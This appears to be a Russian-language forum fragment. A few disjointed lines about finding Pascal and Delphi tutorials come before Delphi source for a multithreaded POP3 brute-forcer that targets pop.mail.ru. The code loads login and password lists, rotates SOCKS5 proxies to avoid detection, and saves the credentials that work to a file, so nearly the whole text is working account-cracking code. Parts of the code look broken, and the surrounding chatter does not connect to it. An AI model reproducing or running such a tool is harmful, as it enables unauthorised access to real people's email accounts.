Сабж.
Без оффтопа.
Без оффтопа.
ты наверное имел в виду мануалы, прикинь можно!Можно ли найти в инете обущающие проги, по программированию на Паскале, Дефи и т. п.?
var
Form1: TForm1;
Login : Tstringlist;
proxy : Tstringlist;
pas : Tstringlist;
sch, proxycount : integer;
critical : TcriticalSection;
implementation
{$R *.dfm}
procedure brute;
var
pop : TPOP3Send;
begin
pop :=TPOP3Send.Create;
pop.AuthType :=POP3AuthLogin;
pop.TargetHost :='pop.mail.ru';
pop.Timeout :=500;
sch :=0;
pop.Sock.SocksType :=ST_Socks5;
While sch<Login.Count-1 do
begin
Critical.Enter;
sch :=sch+1;
pop.UserName :=Login.Strings[sch];
pop.Password :=pas.Strings[sch];
Critical.Leave;
if pop.Login then
begin
if pop.Stat then
Critical.Enter;
Form1.Memo1.Lines.Add(Login.Strings[sch]+';'+pas.Strings[sch]+'Good!');
Critical.Leave;
end
else
begin
Critical.Enter;
Form1.Memo1.Lines.Add(Login.Strings[sch]+';'+pas.Strings[sch]+'Fail=(');
Critical.Leave;
if pop.Sock.SocksTimeout>60000 then
begin
Critical.Enter;
proxy.ValueFromIndex[proxycount]:=':';
pop.Sock.SocksIP:=proxy.Names[proxycount];
pop.Sock.SocksPort :=proxy.Names[proxycount];
proxycount :=proxycount+1;
Critical.Leave;
end;
end;
end;
endthread(0);
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
Login :=Tstringlist.Create;
pas :=Tstringlist.Create;
proxy :=Tstringlist.Create;
Login.LoadFromFile('login.txt');
pas.LoadFromFile('pas.txt');
proxy.LoadFromFile('proxy.txt');
critical :=TcriticalSection.Create;
Memo1.Lines.Clear;
end;
procedure TForm1.Button1Click(Sender: TObject);
var
tid1 , tid2 , tid3 ,tid4 ,tid5 ,tid6 ,tid7 ,tid8 ,tid9 , tid10 , id : longword;
begin
tid1:=1;
while tid1<StrToint(Edit2.Text) do
begin
tid1 :=tid1+1;
Beginthread(nil,0,Addr(brute),nil,0,id);
end
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
Memo1.Lines.SaveToFile('GooD.txt');
end;
end;